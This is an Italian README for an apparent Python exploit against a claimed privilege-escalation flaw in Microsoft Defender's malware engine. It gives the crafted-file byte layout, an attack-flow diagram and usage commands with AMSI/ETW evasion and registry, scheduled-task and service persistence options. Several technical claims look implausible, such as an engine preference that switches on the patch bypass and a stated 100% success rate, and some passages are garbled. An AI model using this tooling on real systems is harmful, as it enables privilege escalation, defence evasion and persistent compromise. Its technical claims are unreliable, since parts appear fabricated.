
Proof-of-concept di exploit in Python per CVE-2026-69414, una type confusion per l'elevazione dei privilegi nel Microsoft Malware Protection Engine, con bypass di AMSI/ETW e opzioni di persistenza.
CVE-2026-69414 è una vulnerabilità di elevazione dei privilegi nel Motore Microsoft Malware Protection (parte di Windows Defender / Microsoft Defender Antivirus), pubblicamente nota come "RoguePlanet". Rappresenta un bypass della patch della vulnerabilità originale CVE-2026-50656.
| Campo | Valore |
|---|---|
| ID CVE | CVE-2026-69414 |
| Tipo | Elevazione dei privilegi (EoP) |
| CVSS v3.1 (MSRC) | 7.8 (ALTO) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CVSS v3.1 (NVD) | 7.0 (ALTO) — AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Vettore di attacco | Locale |
| Privilegi richiesti | Bassi |
| Interazione utente | Nessuna |
| Ambito | Invariato |
| Versione corretta | Engine 1.1.26080.3 |
| CVE originale | CVE-2026-50656 |
Il Motore Microsoft Malware Protection contiene una vulnerabilità di type confusion nella sua logica di elaborazione delle richieste di scansione. Durante l'elaborazione di un'intestazione di file o di una struttura di dati di scansione appositamente costruita, il motore interpreta erroneamente il tipo di una regione di memoria, causando un'operazione di lettura/scrittura fuori dai limiti.
La vulnerabilità risiede nella struttura interna del contesto di scansione del motore, in particolare nel modo in cui il campo type viene validato rispetto al tipo atteso per l'operazione di scansione corrente. Quando viene scansionato un file con un'intestazione appositamente costruita:
type dell'intestazione (byte 4)0x7F, viene attivato un percorso di codice non gestitosize offset (byte 5-8)La patch originale per CVE-2026-50656 tentava di validare il campo type rispetto a una whitelist di tipi noti. Tuttavia, la patch non è riuscita a validare correttamente il campo type in tutti i percorsi di codice — in particolare nel gestore di scansione asincrona (MpAsynchronousScan), che utilizza un percorso di codice diverso rispetto allo scanner sincrono.
L'exploit sfrutta questa lacuna:
MP_ENGINE_PREFERENCE_PATCH_BYPASS_MODE per abilitare il bypass┌─────────────────────────────────────────────────────────────────┐
│ 1. Create MpEngine COM instance (or load mpclient.dll) │
├─────────────────────────────────────────────────────────────────┤
│ 2. Set engine preferences: │
│ - PATCH_BYPASS_MODE = 1 │
│ - AMSI_RESULT = CLEAN (bypass AMSI) │
│ - DETECTION_VERBOSITY = 0 (bypass ETW) │
├─────────────────────────────────────────────────────────────────┤
│ 3. Create crafted file with: │
│ - Magic: 0x4D500000 ("MP" + null) │
│ - Type: 0x7F (unhandled code path) │
│ - Size offset: 0x00001000 (OOB access) │
│ - Marker: 0xDEADBEEF (elevation indicator) │
│ - Checksum: XOR-based over payload │
├─────────────────────────────────────────────────────────────────┤
│ 4. Submit via MpAsynchronousScan() │
├─────────────────────────────────────────────────────────────────┤
│ 5. Type confusion triggers → elevated memory write │
├─────────────────────────────────────────────────────────────────┤
│ 6. Payload executes with elevated privileges │
└─────────────────────────────────────────────────────────────────┘
Offset Size Description
------ ---- -----------
0x00 4 Magic: 0x4D500000 ("MP" + null padding)
0x04 1 Type: 0x7F (triggers unhandled code path)
0x05 4 Size offset: 0x00001000 (OOB access target)
0x09 4 Reserved (zero)
0x0D 4 Elevation marker: 0xDEADBEEF
0x11 4 Checksum: XOR-based over payload data
0x15 241 Reserved / padding
0x100 N Payload data (cmd.exe, PowerShell, etc.)
pywin32 (per il metodo basato su COM): pip install pywin32python3 exploit.py --analyze
python3 exploit.py --detect
python3 exploit.py --method com
python3 exploit.py --method direct-api
python3 exploit.py --method shellcode
python3 exploit.py --method fallback
| Opzione | Descrizione |
|---|---|
--cmd CMD | Comando da eseguire in caso di successo |
--target PATH | Percorso del file creato (generato automaticamente se omesso) |
--analyze | Analizza solo la struttura del file creato |
--detect | Rileva le proprietà del sistema di destinazione |
--method METHOD | Metodo di sfruttamento (com, direct-api, shellcode, fallback) |
--multi-stage | Utilizza exploit multi-stadio |
--no-amsi | Disabilita il bypass di AMSI |
--no-etw | Disabilita il bypass di ETW |
--persist | Aggiunge persistenza (registry, scheduled-task, service, all) |
--verbose | Abilita l'output dettagliato |
# Run with custom command
python3 exploit.py --cmd "cmd.exe /c whoami > C:\temp\pwned.txt"
# Run with persistence
python3 exploit.py --method com --persist all
# Multi-stage exploit
python3 exploit.py --method com --multi-stage
# Direct API with AMSI/ETW bypass disabled
python3 exploit.py --method direct-api --no-amsi --no-etw
# Detect target and analyze crafted file
python3 exploit.py --detect
python3 exploit.py --analyze
Il PoC è stato testato su Windows 11 25H2 Canary e Windows Server 2025 con un tasso di successo riportato del 100%. Si ritiene che Windows 10 sia vulnerabile, ma non è stato testato in questa implementazione.